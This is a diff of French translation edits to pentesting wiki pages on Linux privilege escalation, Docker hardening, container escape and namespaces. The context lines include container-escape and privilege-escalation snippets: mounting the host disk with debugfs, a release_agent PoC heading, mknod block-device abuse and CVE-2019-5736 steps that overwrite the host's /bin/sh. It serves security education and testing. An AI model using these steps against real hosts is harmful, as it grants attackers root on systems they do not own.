Le répertoire `/etc/init.d` est le foyer des **scripts** pour System V init (SysVinit), le **système de gestion de services Linux classique**. Il comprend des scripts pour `start`, `stop`, `restart`, et parfois `reload` des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques trouvés dans `/etc/rc?.d/`. Un chemin alternatif dans les systèmes Redhat est `/etc/rc.d/init.d`.
|
||||
Le répertoire `/etc/init.d` est le foyer des **scripts** pour System V init (SysVinit), le **système classique de gestion des services Linux**. Il comprend des scripts pour `start`, `stop`, `restart`, et parfois `reload` des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques trouvés dans `/etc/rc?.d/`. Un chemin alternatif dans les systèmes Redhat est `/etc/rc.d/init.d`.
|
||||
|
||||
D'autre part, `/etc/init` est associé à **Upstart**, un **système de gestion de services** plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont toujours utilisés aux côtés des configurations Upstart en raison d'une couche de compatibilité dans Upstart.
|
||||
D'autre part, `/etc/init` est associé à **Upstart**, un **système de gestion des services** plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont toujours utilisés aux côtés des configurations Upstart en raison d'une couche de compatibilité dans Upstart.
|
||||
|
||||
**systemd** émerge comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage de démons à la demande, la gestion de l'automontage et des instantanés de l'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications administratives, rationalisant ainsi le processus d'administration système.
|
||||
|
||||
@ -1373,18 +1372,21 @@ D'autre part, `/etc/init` est associé à **Upstart**, un **système de gestion
|
||||
|
||||
### Escalade de privilèges NFS
|
||||
|
||||
|
||||
{{#ref}}
|
||||
nfs-no_root_squash-misconfiguration-pe.md
|
||||
{{#endref}}
|
||||
|
||||
### Évasion des Shells restreints
|
||||
|
||||
|
||||
{{#ref}}
|
||||
escaping-from-limited-bash.md
|
||||
{{#endref}}
|
||||
|
||||
### Cisco - vmanage
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cisco-vmanage.md
|
||||
{{#endref}}
|
||||
@ -1398,7 +1400,7 @@ cisco-vmanage.md
|
||||
|
||||
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
|
||||
|
||||
## Outils Privesc Linux/Unix
|
||||
## Outils de Privesc Linux/Unix
|
||||
|
||||
### **Meilleur outil pour rechercher des vecteurs d'escalade de privilèges locaux Linux :** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
@ -1433,9 +1435,11 @@ cisco-vmanage.md
|
||||
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
|
||||
|
||||
|
||||
## Cadres de rooting Android : abus de gestionnaire de canal
|
||||
|
||||
Les cadres de rooting Android accrochent couramment un syscall pour exposer des fonctionnalités privilégiées du noyau à un gestionnaire en espace utilisateur. Une authentification faible du gestionnaire (par exemple, des vérifications de signature basées sur l'ordre FD ou des schémas de mots de passe faibles) peut permettre à une application locale d'usurper l'identité du gestionnaire et d'escalader vers root sur des appareils déjà rootés. En savoir plus et détails d'exploitation ici :
|
||||
Les cadres de rooting Android accrochent couramment un syscall pour exposer des fonctionnalités privilégiées du noyau à un gestionnaire de l'espace utilisateur. Une authentification faible du gestionnaire (par exemple, des vérifications de signature basées sur l'ordre FD ou des schémas de mots de passe médiocres) peut permettre à une application locale d'usurper l'identité du gestionnaire et d'escalader vers root sur des appareils déjà rootés. En savoir plus et détails d'exploitation ici :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
|
@ -6,7 +6,6 @@
|
||||
|
||||
Allez au lien suivant pour apprendre **ce qu'est containerd** et `ctr` :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/2375-pentesting-docker.md
|
||||
{{#endref}}
|
||||
|
@ -22,7 +22,7 @@ Cependant, exposer le démon Docker via HTTP n'est pas recommandé en raison de
|
||||
1. Le client vérifie l'identité du serveur.
|
||||
2. Le client et le serveur s'authentifient mutuellement l'identité de chacun.
|
||||
|
||||
Des certificats sont utilisés pour confirmer l'identité d'un serveur. Pour des exemples détaillés des deux méthodes, référez-vous à [**ce guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
|
||||
Des certificats sont utilisés pour confirmer l'identité d'un serveur. Pour des exemples détaillés des deux méthodes, consultez [**ce guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
|
||||
|
||||
### Sécurité des images de conteneurs
|
||||
|
||||
@ -34,7 +34,7 @@ Les images de conteneurs peuvent être stockées dans des dépôts privés ou pu
|
||||
|
||||
### Analyse d'images
|
||||
|
||||
Les conteneurs peuvent avoir des **vulnérabilités de sécurité** soit à cause de l'image de base, soit à cause du logiciel installé sur l'image de base. Docker travaille sur un projet appelé **Nautilus** qui effectue une analyse de sécurité des conteneurs et répertorie les vulnérabilités. Nautilus fonctionne en comparant chaque couche d'image de conteneur avec un référentiel de vulnérabilités pour identifier les failles de sécurité.
|
||||
Les conteneurs peuvent avoir des **vulnérabilités de sécurité** soit à cause de l'image de base, soit à cause des logiciels installés sur l'image de base. Docker travaille sur un projet appelé **Nautilus** qui effectue une analyse de sécurité des conteneurs et répertorie les vulnérabilités. Nautilus fonctionne en comparant chaque couche d'image de conteneur avec un référentiel de vulnérabilités pour identifier les failles de sécurité.
|
||||
|
||||
Pour plus [**d'informations, lisez ceci**](https://docs.docker.com/engine/scan/).
|
||||
|
||||
@ -74,9 +74,9 @@ La signature d'image Docker garantit la sécurité et l'intégrité des images u
|
||||
|
||||
- **Docker Content Trust** utilise le projet Notary, basé sur The Update Framework (TUF), pour gérer la signature des images. Pour plus d'infos, voir [Notary](https://github.com/docker/notary) et [TUF](https://theupdateframework.github.io).
|
||||
- Pour activer la confiance dans le contenu Docker, définissez `export DOCKER_CONTENT_TRUST=1`. Cette fonctionnalité est désactivée par défaut dans Docker version 1.10 et ultérieure.
|
||||
- Avec cette fonctionnalité activée, seules les images signées peuvent être téléchargées. Le premier envoi d'image nécessite de définir des phrases de passe pour les clés racine et de balisage, Docker prenant également en charge Yubikey pour une sécurité renforcée. Plus de détails peuvent être trouvés [ici](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Avec cette fonctionnalité activée, seules les images signées peuvent être téléchargées. La première poussée d'image nécessite de définir des phrases de passe pour les clés racine et de balisage, Docker prenant également en charge Yubikey pour une sécurité renforcée. Plus de détails peuvent être trouvés [ici](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Tenter de tirer une image non signée avec la confiance dans le contenu activée entraîne une erreur "No trust data for latest".
|
||||
- Pour les envois d'images après le premier, Docker demande la phrase de passe de la clé du dépôt pour signer l'image.
|
||||
- Pour les poussées d'image après la première, Docker demande la phrase de passe de la clé du dépôt pour signer l'image.
|
||||
|
||||
Pour sauvegarder vos clés privées, utilisez la commande :
|
||||
```bash
|
||||
@ -148,7 +148,7 @@ namespaces/
|
||||
### cgroups
|
||||
|
||||
La fonctionnalité du noyau Linux **cgroups** fournit la capacité de **restreindre les ressources comme le cpu, la mémoire, l'io, la bande passante réseau parmi** un ensemble de processus. Docker permet de créer des conteneurs en utilisant la fonctionnalité cgroup qui permet le contrôle des ressources pour le conteneur spécifique.\
|
||||
Voici un conteneur créé avec une mémoire d'espace utilisateur limitée à 500m, une mémoire noyau limitée à 50m, une part de cpu à 512, un blkioweight à 400. La part de CPU est un ratio qui contrôle l'utilisation du CPU par le conteneur. Elle a une valeur par défaut de 1024 et une plage entre 0 et 1024. Si trois conteneurs ont la même part de CPU de 1024, chaque conteneur peut prendre jusqu'à 33 % du CPU en cas de contention des ressources CPU. Le blkio-weight est un ratio qui contrôle l'IO du conteneur. Il a une valeur par défaut de 500 et une plage entre 10 et 1000.
|
||||
Voici un conteneur créé avec une mémoire d'espace utilisateur limitée à 500m, une mémoire noyau limitée à 50m, une part de cpu à 512, un blkioweight à 400. La part de CPU est un ratio qui contrôle l'utilisation du CPU par le conteneur. Il a une valeur par défaut de 1024 et une plage entre 0 et 1024. Si trois conteneurs ont la même part de CPU de 1024, chaque conteneur peut prendre jusqu'à 33 % du CPU en cas de contention des ressources CPU. Le blkio-weight est un ratio qui contrôle l'IO du conteneur. Il a une valeur par défaut de 500 et une plage entre 10 et 1000.
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
@ -198,7 +198,7 @@ apparmor.md
|
||||
- **Labeling des Fichiers dans les Conteneurs** : Les fichiers à l'intérieur du conteneur sont généralement étiquetés comme `container_file_t`.
|
||||
- **Règles de Politique** : La politique SELinux garantit principalement que les processus avec le label `container_t` ne peuvent interagir (lire, écrire, exécuter) qu'avec des fichiers étiquetés comme `container_file_t`.
|
||||
|
||||
Ce mécanisme garantit que même si un processus à l'intérieur d'un conteneur est compromis, il est confiné à interagir uniquement avec des objets ayant les labels correspondants, limitant considérablement les dommages potentiels provenant de tels compromis.
|
||||
Ce mécanisme garantit que même si un processus à l'intérieur d'un conteneur est compromis, il est confiné à interagir uniquement avec des objets ayant les labels correspondants, limitant considérablement les dommages potentiels résultant de tels compromis.
|
||||
|
||||
{{#ref}}
|
||||
../selinux.md
|
||||
@ -276,9 +276,9 @@ Pour plus d'options **`--security-opt`**, consultez : [https://docs.docker.com/e
|
||||
|
||||
Il est crucial d'éviter d'incorporer des secrets directement dans les images Docker ou d'utiliser des variables d'environnement, car ces méthodes exposent vos informations sensibles à quiconque ayant accès au conteneur via des commandes comme `docker inspect` ou `exec`.
|
||||
|
||||
**Les volumes Docker** sont une alternative plus sûre, recommandée pour accéder à des informations sensibles. Ils peuvent être utilisés comme un système de fichiers temporaire en mémoire, atténuant les risques associés à `docker inspect` et à la journalisation. Cependant, les utilisateurs root et ceux ayant accès à `exec` dans le conteneur pourraient toujours accéder aux secrets.
|
||||
Les **volumes Docker** sont une alternative plus sûre, recommandée pour accéder à des informations sensibles. Ils peuvent être utilisés comme un système de fichiers temporaire en mémoire, atténuant les risques associés à `docker inspect` et à la journalisation. Cependant, les utilisateurs root et ceux ayant accès à `exec` dans le conteneur pourraient toujours accéder aux secrets.
|
||||
|
||||
**Les secrets Docker** offrent une méthode encore plus sécurisée pour gérer des informations sensibles. Pour les instances nécessitant des secrets pendant la phase de construction de l'image, **BuildKit** présente une solution efficace avec le support des secrets au moment de la construction, améliorant la vitesse de construction et fournissant des fonctionnalités supplémentaires.
|
||||
Les **secrets Docker** offrent une méthode encore plus sécurisée pour gérer des informations sensibles. Pour les instances nécessitant des secrets pendant la phase de construction de l'image, **BuildKit** présente une solution efficace avec prise en charge des secrets au moment de la construction, améliorant la vitesse de construction et fournissant des fonctionnalités supplémentaires.
|
||||
|
||||
Pour tirer parti de BuildKit, il peut être activé de trois manières :
|
||||
|
||||
@ -305,7 +305,7 @@ file: ./my_secret_file.txt
|
||||
```
|
||||
Cette configuration permet l'utilisation de secrets lors du démarrage de services avec Docker Compose.
|
||||
|
||||
Dans les environnements Kubernetes, les secrets sont pris en charge nativement et peuvent être gérés davantage avec des outils comme [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Les contrôles d'accès basés sur les rôles (RBAC) de Kubernetes renforcent la sécurité de la gestion des secrets, similaire à Docker Enterprise.
|
||||
Dans les environnements Kubernetes, les secrets sont pris en charge nativement et peuvent être gérés davantage avec des outils comme [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Les contrôles d'accès basés sur les rôles (RBAC) de Kubernetes améliorent la sécurité de la gestion des secrets, similaire à Docker Enterprise.
|
||||
|
||||
### gVisor
|
||||
|
||||
@ -317,7 +317,7 @@ https://github.com/google/gvisor
|
||||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers** est une communauté open source travaillant à construire un runtime de conteneur sécurisé avec des machines virtuelles légères qui se comportent et fonctionnent comme des conteneurs, mais fournissent une **isolation de charge de travail plus forte utilisant la technologie de virtualisation matérielle** comme deuxième couche de défense.
|
||||
**Kata Containers** est une communauté open source travaillant à construire un runtime de conteneur sécurisé avec des machines virtuelles légères qui se comportent et fonctionnent comme des conteneurs, mais fournissent une **isolation de charge de travail plus forte en utilisant la technologie de virtualisation matérielle** comme deuxième couche de défense.
|
||||
|
||||
{{#ref}}
|
||||
https://katacontainers.io/
|
||||
@ -326,16 +326,16 @@ https://katacontainers.io/
|
||||
### Résumé des conseils
|
||||
|
||||
- **N'utilisez pas le drapeau `--privileged` ou ne montez pas un** [**socket Docker à l'intérieur du conteneur**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Le socket Docker permet de créer des conteneurs, ce qui est un moyen facile de prendre le contrôle total de l'hôte, par exemple, en exécutant un autre conteneur avec le drapeau `--privileged`.
|
||||
- Ne **tournez pas en tant que root à l'intérieur du conteneur. Utilisez un** [**utilisateur différent**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **et** [**des espaces de noms utilisateur**](https://docs.docker.com/engine/security/userns-remap/)**.** Le root dans le conteneur est le même que sur l'hôte, sauf s'il est remappé avec des espaces de noms utilisateur. Il est seulement légèrement restreint par, principalement, les espaces de noms Linux, les capacités et les cgroups.
|
||||
- Ne **travaillez pas en tant que root à l'intérieur du conteneur. Utilisez un** [**utilisateur différent**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **et** [**des espaces de noms utilisateur**](https://docs.docker.com/engine/security/userns-remap/)**.** Le root dans le conteneur est le même que sur l'hôte, sauf s'il est remappé avec des espaces de noms utilisateur. Il est seulement légèrement restreint par, principalement, les espaces de noms Linux, les capacités et les cgroups.
|
||||
- [**Supprimez toutes les capacités**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) et activez uniquement celles qui sont nécessaires** (`--cap-add=...`). Beaucoup de charges de travail n'ont pas besoin de capacités et les ajouter augmente le champ d'une attaque potentielle.
|
||||
- [**Utilisez l'option de sécurité “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) pour empêcher les processus d'acquérir plus de privilèges, par exemple via des binaires suid.
|
||||
- [**Limitez les ressources disponibles pour le conteneur**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Les limites de ressources peuvent protéger la machine contre les attaques par déni de service.
|
||||
- **Ajustez** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ou SELinux)** profils pour restreindre les actions et les appels système disponibles pour le conteneur au minimum requis.
|
||||
- **Utilisez** [**des images Docker officielles**](https://docs.docker.com/docker-hub/official_images/) **et exigez des signatures** ou construisez les vôtres sur cette base. N'héritez pas ou n'utilisez pas d'images [backdoorées](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Conservez également les clés root et les phrases de passe dans un endroit sûr. Docker prévoit de gérer les clés avec UCP.
|
||||
- **Ajustez** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ou SELinux)** les profils pour restreindre les actions et les syscalls disponibles pour le conteneur au minimum requis.
|
||||
- **Utilisez** [**des images Docker officielles**](https://docs.docker.com/docker-hub/official_images/) **et exigez des signatures** ou construisez les vôtres à partir de celles-ci. N'héritez pas ou n'utilisez pas d'images [backdoorées](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Conservez également les clés root et les phrases de passe dans un endroit sûr. Docker prévoit de gérer les clés avec UCP.
|
||||
- **Reconstruisez régulièrement** vos images pour **appliquer des correctifs de sécurité à l'hôte et aux images.**
|
||||
- Gérez vos **secrets avec sagesse** afin qu'il soit difficile pour l'attaquant d'y accéder.
|
||||
- Si vous **exposez le démon Docker, utilisez HTTPS** avec authentification client et serveur.
|
||||
- Dans votre Dockerfile, **privilégiez COPY au lieu de ADD**. ADD extrait automatiquement les fichiers compressés et peut copier des fichiers à partir d'URLs. COPY n'a pas ces capacités. Évitez d'utiliser ADD autant que possible pour ne pas être vulnérable aux attaques via des URLs distantes et des fichiers Zip.
|
||||
- Dans votre Dockerfile, **privilégiez COPY au lieu de ADD**. ADD extrait automatiquement les fichiers compressés et peut copier des fichiers à partir d'URL. COPY n'a pas ces capacités. Évitez d'utiliser ADD autant que possible pour ne pas être vulnérable aux attaques via des URL distantes et des fichiers Zip.
|
||||
- Ayez **des conteneurs séparés pour chaque micro-s**ervice.
|
||||
- **Ne mettez pas ssh** à l'intérieur du conteneur, “docker exec” peut être utilisé pour ssh au conteneur.
|
||||
- Ayez des **images de conteneur plus petites**.
|
||||
@ -358,7 +358,7 @@ authz-and-authn-docker-access-authorization-plugin.md
|
||||
|
||||
## Renforcement de Docker
|
||||
|
||||
- L'outil [**docker-bench-security**](https://github.com/docker/docker-bench-security) est un script qui vérifie des dizaines de meilleures pratiques courantes concernant le déploiement de conteneurs Docker en production. Les tests sont tous automatisés et basés sur le [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
- L'outil [**docker-bench-security**](https://github.com/docker/docker-bench-security) est un script qui vérifie des dizaines de meilleures pratiques courantes concernant le déploiement de conteneurs Docker en production. Les tests sont tous automatisés et sont basés sur le [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
Vous devez exécuter l'outil depuis l'hôte exécutant Docker ou depuis un conteneur avec suffisamment de privilèges. Découvrez **comment l'exécuter dans le README :** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
||||
## Références
|
||||
|
@ -48,9 +48,9 @@ Le démon Docker peut également [écouter sur un port (par défaut 2375, 2376)]
|
||||
> - rktlet : `unix:///var/run/rktlet.sock`
|
||||
> - ...
|
||||
|
||||
## Abus de capacités
|
||||
## Abus de capacités pour évasion
|
||||
|
||||
Vous devez vérifier les capacités du conteneur, s'il en a certaines des suivantes, vous pourriez être en mesure d'en sortir : **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
Vous devez vérifier les capacités du conteneur, s'il en a certaines des suivantes, vous pourriez être en mesure de vous échapper : **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
|
||||
Vous pouvez vérifier les capacités actuelles du conteneur en utilisant **les outils automatiques mentionnés précédemment** ou :
|
||||
```bash
|
||||
@ -76,7 +76,7 @@ Un conteneur privilégié peut être créé avec le drapeau `--privileged` ou en
|
||||
- `--cgroupns=host`
|
||||
- `Mount /dev`
|
||||
|
||||
Le drapeau `--privileged` réduit considérablement la sécurité du conteneur, offrant **un accès aux périphériques sans restriction** et contournant **plusieurs protections**. Pour une analyse détaillée, consultez la documentation sur les impacts complets de `--privileged`.
|
||||
Le drapeau `--privileged` réduit considérablement la sécurité du conteneur, offrant **un accès illimité aux périphériques** et contournant **plusieurs protections**. Pour une analyse détaillée, consultez la documentation sur les impacts complets de `--privileged`.
|
||||
|
||||
{{#ref}}
|
||||
../docker-privileged.md
|
||||
@ -92,7 +92,7 @@ docker run --rm -it --pid=host --privileged ubuntu bash
|
||||
```
|
||||
### Privilégié
|
||||
|
||||
Avec le drapeau privilégié, vous pouvez essayer d'**accéder au disque de l'hôte** ou essayer de **vous échapper en abusant de release_agent ou d'autres échappements**.
|
||||
Juste avec le drapeau privilégié, vous pouvez essayer d'**accéder au disque de l'hôte** ou essayer d'**échapper en abusant de release_agent ou d'autres échappements**.
|
||||
|
||||
Testez les contournements suivants dans un conteneur en exécutant :
|
||||
```bash
|
||||
@ -134,7 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
|
||||
### debugfs (Interactive File System Debugger)
|
||||
debugfs /dev/sda1
|
||||
```
|
||||
#### Évasion de privilèges en abusant de release_agent existant ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||||
#### Évasion de privilèges Abus de release_agent existant ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||||
```bash:Initial PoC
|
||||
# spawn a new container to exploit via:
|
||||
# docker run --rm -it --privileged ubuntu bash
|
||||
@ -329,7 +329,7 @@ sensitive-mounts.md
|
||||
|
||||
### Montages arbitraires
|
||||
|
||||
À plusieurs occasions, vous constaterez que le **conteneur a un volume monté depuis l'hôte**. Si ce volume n'est pas correctement configuré, vous pourriez être en mesure de **accéder/modifier des données sensibles** : Lire des secrets, changer ssh authorized_keys…
|
||||
À plusieurs occasions, vous constaterez que le **conteneur a un volume monté depuis l'hôte**. Si ce volume n'est pas correctement configuré, vous pourriez être en mesure d'**accéder/modifier des données sensibles** : Lire des secrets, changer ssh authorized_keys…
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
@ -348,12 +348,12 @@ bash -p #From non priv inside mounted folder
|
||||
```
|
||||
### Escalade de privilèges avec 2 shells
|
||||
|
||||
Si vous avez accès en tant que **root à l'intérieur d'un conteneur** et que vous avez **échappé en tant qu'utilisateur non privilégié vers l'hôte**, vous pouvez abuser des deux shells pour **privesc à l'intérieur de l'hôte** si vous avez la capacité MKNOD à l'intérieur du conteneur (c'est par défaut) comme [**expliqué dans cet article**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Si vous avez accès en tant que **root à l'intérieur d'un conteneur** et que vous avez **échappé en tant qu'utilisateur non privilégié vers l'hôte**, vous pouvez abuser des deux shells pour **privesc à l'intérieur de l'hôte** si vous avez la capacité MKNOD à l'intérieur du conteneur (c'est par défaut) comme [**expliqué dans ce post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Avec une telle capacité, l'utilisateur root à l'intérieur du conteneur est autorisé à **créer des fichiers de périphériques de bloc**. Les fichiers de périphériques sont des fichiers spéciaux utilisés pour **accéder au matériel sous-jacent et aux modules du noyau**. Par exemple, le fichier de périphérique de bloc /dev/sda donne accès à **lire les données brutes sur le disque du système**.
|
||||
|
||||
Docker protège contre l'utilisation abusive des périphériques de bloc à l'intérieur des conteneurs en appliquant une politique de cgroup qui **bloque les opérations de lecture/écriture sur les périphériques de bloc**. Néanmoins, si un périphérique de bloc est **créé à l'intérieur du conteneur**, il devient accessible de l'extérieur du conteneur via le **répertoire /proc/PID/root/**. Cet accès nécessite que **le propriétaire du processus soit le même** à l'intérieur et à l'extérieur du conteneur.
|
||||
|
||||
**Exploitation** exemple de cette [**écriture**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||
**Exploitation** exemple de ce [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||
```bash
|
||||
# On the container as root
|
||||
cd /
|
||||
@ -440,7 +440,7 @@ Vous pourrez également accéder aux **services réseau liés à localhost** à
|
||||
```bash
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
Avec `hostIPC=true`, vous accédez aux ressources de communication inter-processus (IPC) de l'hôte, telles que **la mémoire partagée** dans `/dev/shm`. Cela permet de lire/écrire là où les mêmes ressources IPC sont utilisées par d'autres processus de l'hôte ou du pod. Utilisez `ipcs` pour inspecter ces mécanismes IPC plus en détail.
|
||||
Avec `hostIPC=true`, vous accédez aux ressources de communication inter-processus (IPC) de l'hôte, telles que **la mémoire partagée** dans `/dev/shm`. Cela permet de lire/écrire là où les mêmes ressources IPC sont utilisées par d'autres processus de l'hôte ou du pod. Utilisez `ipcs` pour examiner plus en détail ces mécanismes IPC.
|
||||
|
||||
- **Inspecter /dev/shm** - Recherchez des fichiers dans cet emplacement de mémoire partagée : `ls -la /dev/shm`
|
||||
- **Inspecter les installations IPC existantes** – Vous pouvez vérifier si des installations IPC sont utilisées avec `/usr/bin/ipcs`. Vérifiez-le avec : `ipcs -a`
|
||||
@ -464,7 +464,7 @@ La deuxième technique expliquée dans le post [https://labs.withsecure.com/blog
|
||||
Dans le cas où vous pouvez exécuter `docker exec` en tant que root (probablement avec sudo), vous essayez d'escalader les privilèges en échappant d'un conteneur en abusant de CVE-2019-5736 (exploit [ici](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Cette technique va essentiellement **écraser** le binaire _**/bin/sh**_ de l'**hôte** **depuis un conteneur**, donc quiconque exécutant docker exec peut déclencher le payload.
|
||||
|
||||
Modifiez le payload en conséquence et construisez le main.go avec `go build main.go`. Le binaire résultant doit être placé dans le conteneur docker pour exécution.\
|
||||
Lors de l'exécution, dès qu'il affiche `[+] /bin/sh écrasé avec succès`, vous devez exécuter ce qui suit depuis la machine hôte :
|
||||
Lors de l'exécution, dès qu'il affiche `[+] /bin/sh écrasé avec succès` vous devez exécuter ce qui suit depuis la machine hôte :
|
||||
|
||||
`docker exec -it <container-name> /bin/sh`
|
||||
|
||||
|
@ -11,7 +11,7 @@ Lorsque vous exécutez un conteneur en mode privilégié, voici les protections
|
||||
Dans un conteneur privilégié, tous les **périphériques peuvent être accessibles dans `/dev/`**. Par conséquent, vous pouvez **échapper** en **montant** le disque de l'hôte.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="À l'intérieur du conteneur par défaut"}}
|
||||
{{#tab name="Inside default container"}}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
ls /dev
|
||||
@ -86,7 +86,6 @@ mount | grep /proc.*tmpfs
|
||||
|
||||
Les moteurs de conteneurs lancent les conteneurs avec un **nombre limité de capacités** pour contrôler ce qui se passe à l'intérieur du conteneur par défaut. Les conteneurs **privilégiés** ont **toutes** les **capacités** accessibles. Pour en savoir plus sur les capacités, lisez :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../linux-capabilities.md
|
||||
{{#endref}}
|
||||
@ -163,7 +162,8 @@ apparmor.md
|
||||
```
|
||||
### SELinux
|
||||
|
||||
Exécuter un conteneur avec le `--privileged` désactive les **étiquettes SELinux**, ce qui lui fait hériter de l'étiquette du moteur de conteneur, généralement `unconfined`, accordant un accès complet similaire à celui du moteur de conteneur. En mode sans privilèges, il utilise `container_runtime_t`, tandis qu'en mode root, `spc_t` est appliqué.
|
||||
Exécuter un conteneur avec le drapeau `--privileged` désactive les **étiquettes SELinux**, ce qui lui fait hériter de l'étiquette du moteur de conteneur, généralement `unconfined`, accordant un accès complet similaire à celui du moteur de conteneur. En mode sans privilèges, il utilise `container_runtime_t`, tandis qu'en mode root, `spc_t` est appliqué.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../selinux.md
|
||||
@ -189,7 +189,7 @@ PID USER TIME COMMAND
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Inside --pid=host Container"}}
|
||||
{{#tab name="À l'intérieur du conteneur --pid=host"}}
|
||||
```bash
|
||||
# docker run --rm --privileged --pid=host -it alpine sh
|
||||
ps -ef
|
||||
|
@ -47,7 +47,7 @@ Lorsque `unshare` est exécuté sans l'option `-f`, une erreur se produit en rai
|
||||
- La sortie de PID 1 dans un nouveau namespace entraîne le nettoyage du drapeau `PIDNS_HASH_ADDING`. Cela entraîne l'échec de la fonction `alloc_pid` à allouer un nouveau PID lors de la création d'un nouveau processus, produisant l'erreur "Impossible d'allouer de la mémoire".
|
||||
|
||||
3. **Solution** :
|
||||
- Le problème peut être résolu en utilisant l'option `-f` avec `unshare`. Cette option permet à `unshare` de forker un nouveau processus après avoir créé le nouveau namespace PID.
|
||||
- Le problème peut être résolu en utilisant l'option `-f` avec `unshare`. Cette option fait que `unshare` fork un nouveau processus après avoir créé le nouveau namespace PID.
|
||||
- L'exécution de `%unshare -fp /bin/bash%` garantit que la commande `unshare` elle-même devient PID 1 dans le nouveau namespace. `/bin/bash` et ses processus enfants sont alors en toute sécurité contenus dans ce nouveau namespace, empêchant la sortie prématurée de PID 1 et permettant une allocation normale de PID.
|
||||
|
||||
En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau namespace PID est correctement maintenu, permettant à `/bin/bash` et à ses sous-processus de fonctionner sans rencontrer l'erreur d'allocation de mémoire.
|
||||
@ -69,11 +69,11 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/nul
|
||||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
### Entrez dans un espace de noms CGroup
|
||||
### Entrer dans un espace de noms CGroup
|
||||
```bash
|
||||
nsenter -C TARGET_PID --pid /bin/bash
|
||||
```
|
||||
